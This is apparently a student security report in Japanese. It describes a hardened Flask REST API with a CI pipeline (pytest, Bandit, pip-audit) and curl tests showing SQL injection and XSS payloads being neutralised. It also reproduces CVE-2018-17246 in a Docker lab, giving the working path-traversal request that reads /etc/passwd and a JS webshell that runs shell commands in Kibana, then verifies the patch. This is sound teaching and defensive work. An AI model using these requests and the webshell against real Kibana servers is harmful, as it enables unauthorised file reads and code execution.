HDU IS Work 1 - CI/CD(pytest + bandit + pip-audit)を備えたセキュアなREST API(Flask)とCVE-2018-17246の分析
Python/FlaskによるセキュアREST API、GitHub ActionsによるCI/CD(SAST + SCA + 自動テスト)、 およびDocker環境で再現した実際のCVE(Kibana LFI、CVE-2018-17246)の完全な分析。
氏名: Guhaotian HDU番号: 23320209
https://github.com/ght657/work1-secure-api(公開)POST /auth/login — パスワードハッシュを検証した後、署名済みJWTを発行します。GET /api/data — JWT(Bearerトークン)で保護され、現在のユーザーのレコードを返します。GET /api/users/search?q= — パラメータバインドされたSQLクエリを使用する保護された読み取りエンドポイント。POST /api/posts(JWTで保護)は、蓄積型XSS / 出力エスケープ保護を示します。ワークフローファイル: .github/workflows/ci.yml、mainへのプッシュごとにトリガーされます。
| ジョブ | ツール | 実行内容 | 証跡 |
|---|---|---|---|
test | pytest 8 | 11件のテストスイートを実行 | evidence/07_pytest_run.png |
sast | Bandit 1.8.0 | app/、tests/の静的解析(JSONレポートをアーティファクトとしてアップロード) | evidence/08_bandit_report.png |
sca | pip-audit 2.8.0 | 依存関係の監査(JSONレポートをアーティファクトとしてアップロード) | evidence/09_pip_audit_report.png |
テストが失敗するか、SAST/SCAの検出結果が残っている場合、パイプラインは失敗するため、パイプラインがレッド の場合はマージ前に修正をプッシュする必要があります。
11件のテスト、すべて成功(pytest -q):
tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED
11 passed in 2.20s
アプリケーションコードは自社製であるため、初回実行では当然ながらサードパーティ由来のノイズは含まれません。 結果: 0 issues:
Run started:...
Test results:
No issues identified.
Code scanned:
Total lines of code: 228
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0
pip-audit は既知の CVE を持つすべての依存関係を一覧表示します。初回実行で以下が検出されました:
Found 19 known vulnerabilities in 3 packages
Name Version ID Fix Versions
------------- ------- ----------------- ------------
flask 3.0.3 PYSEC-2026-2151 3.1.3
pyjwt 2.9.0 PYSEC-2026-120 2.12.0
pyjwt 2.9.0 PYSEC-2025-183 ...
pyjwt 2.9.0 ... up to 2.15.0
python-dotenv 1.0.1 PYSEC-2026-2270 1.2.2
合計19件のエントリ(Flask、PyJWT ×17、python-dotenv)。修正済みバージョンにアップグレードしました:
Flask 3.1.3、PyJWT 2.15.0、そして python-dotenv を削除しました(オプションの設定ヘルパーにすぎず —
修正済みの 1.2.2 は Python ≥ 3.10 を要求しますが、監査用 venv は 3.9 です)。
修正後:
No known vulnerabilities found
(evidence/08b_bandit_after_fix.png、evidence/09b_pip_audit_after_fix.png)
API は curl を使って古典的な攻撃に対してテストされました。スクリーンショットは evidence/ にあります:
username: "admin'--" を指定した POST /auth/login は 401 Invalid credentials を返します —
検索はハッシュ化された認証情報に対して ORM のパラメータクエリを使用しているため、注入された
ペイロードはデータのままであり、SQL になることはありません。
GET /api/users/search?q=%' OR '1'='1 → この文字列は
SELECT ... WHERE username LIKE ? へのパラメータとしてバインドされるため(ワイルドカードはエスケープ済み)、何にもマッチせず、API は
空のリストを返します — エラーもなく、テーブル全体のダンプもありません。
title: "<script>alert('xss')</script>" を指定した POST /api/posts。サーバーは
生の文字列を保存しますが、出力時にエスケープします(markupsafe.escape + jsonify)。そのため返される
ペイロードは <script>alert('xss')</script> となり、ブラウザはテキストとして表示するだけで、
実行はしません。(ブラウザレンダリングによる再現は evidence/06_xss_readback.png に示されています。)
401 {"error": "Missing or malformed Authorization header"}(evidence/03_data_denied.png)200 + 保護されたデータ(evidence/04_data_with_token.png)401(HS256 による署名検証)401(有効期限は 60 分)Authorization: Bearer <token> を介して使用されます
(evidence/10_jwt_structure.png は 3 部構成を示しています)。パスワードは bcrypt ハッシュ(12 ラウンド)として保存され、どのエンドポイントからも返されることはありません
(テスト test_passwords_stored_as_bcrypt_hashes)。
/etc/passwd)の未認証読み取り、
さらに — 脆弱なルートがファイルを JS モジュールとして要求するため — 書き込み可能なパスに到達可能な場合
(例: 別の欠陥や生成された一時ファイルを介して)、攻撃者が制御する JS が Kibana プロセスによって実行される可能性があります。GET /api/console/api_server?apis=../../../../../../etc/passwd — apis
パラメータは単純なパスチェックのみを経て require() に渡されるため、.. シーケンスによって
サーバー側の api ディレクトリを脱出し、任意のファイルを読み取り/実行できます。公開されている vulhub イメージ(すでに公開され、脆弱性が検証済み)を使用します:
vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — 詳細は
CVE-2018-17246/docker-compose.yml を参照してください(このリポジトリ内の同名フォルダ)。
cd CVE-2018-17246
docker compose up -d # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601
ステップ1 — LFIをトリガーする(Console APIはファイルとして解決されるapisパスを受け入れます):
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
レスポンスは 500 です(ファイルは有効な JS モジュールではありません)が、ファイルの内容がサーバーログに表示されます — Kibana はファイルを読み取り、require() を試みます:
docker compose logs kibana | grep -i "passwd\|root:x"
ステップ2 — コード実行へエスカレーション。 ローカルのJSファイルが同じルートによってモジュールとして読み込まれます。/tmp/vulhub.js には、Console API によってエクスポートされた関数が呼び出されたときにシェルコマンドを実行する、小さな「ウェブシェル」が含まれています:
// /tmp/vulhub.js (written inside the Kibana container)
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
# write the file inside the container and load it
docker compose exec kibana bash -c "mkdir -p /tmp && cat > /tmp/vulhub.js << 'EOF'
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
EOF"
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=/tmp/vulhub.js"
Kibana のログでは、500 レスポンスの前に id の出力(例: uid=0(root) gid=0(root) groups=0(root))が記録されており、任意のコマンド実行が可能であることが証明されています。
スクリーンショット: evidence/cve/02_lfi_request.png、evidence/cve/03_lfi_logs.png、
evidence/cve/04_rce_request.png、evidence/cve/05_rce_result.png。
Kibana の src/server/routes/api_server.js(Console API)は、apis クエリパラメータを解決し、それに対して require(...) を呼び出します。パスは "api" ディレクトリと結合されますが、ユーザーが指定したセグメントには ../ シーケンスが含まれる可能性があり、結合後に正規化や制限が行われません。攻撃者は api/ ディレクトリを脱出し、任意のファイルに到達できます。同じルートがファイルを JavaScript モジュールとして読み込むため、読み取り可能な任意のファイルがあればその内容を描画するのに十分であり、攻撃者が書き込み可能な JS ファイルはコード実行につながります。
この脆弱性は Kibana 6.4.3 / 5.6.13 で修正されました。脆弱な Console API は、apis パラメータが許可された API ディレクトリの外を解決できなくなり、パッチ適用版ではパスが正規化され、意図された場所の外にあるものは拒否されます。
修正の検証には、公式のパッチ適用済みイメージ — docker.elastic.co/kibana/kibana:5.6.13(フォルダ CVE-2018-17246/docker-compose.fixed.yml、説明は CVE-2018-17246/FIX.md)を使用します:
docker compose -f docker-compose.fixed.yml up -d
検証 — パッチ適用済みバージョンに対して同じLFIリクエストを実行すると失敗する:
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
# HTTP/1.1 400 Bad Request (request rejected)
パッチ適用後のサーバーログにはリクエストに対するファイル内容が記録されておらず、RCE テストファイル
/tmp/vulhub.js はもはや実行されません(uid= の出力はなく、リクエストは拒否されます)。
evidence/cve/06_fix_compose.png、evidence/cve/07_lfi_after_fix.png、
evidence/cve/08_regression_ui.png(UI は引き続き正常に読み込まれる → 通常利用にリグレッションなし)。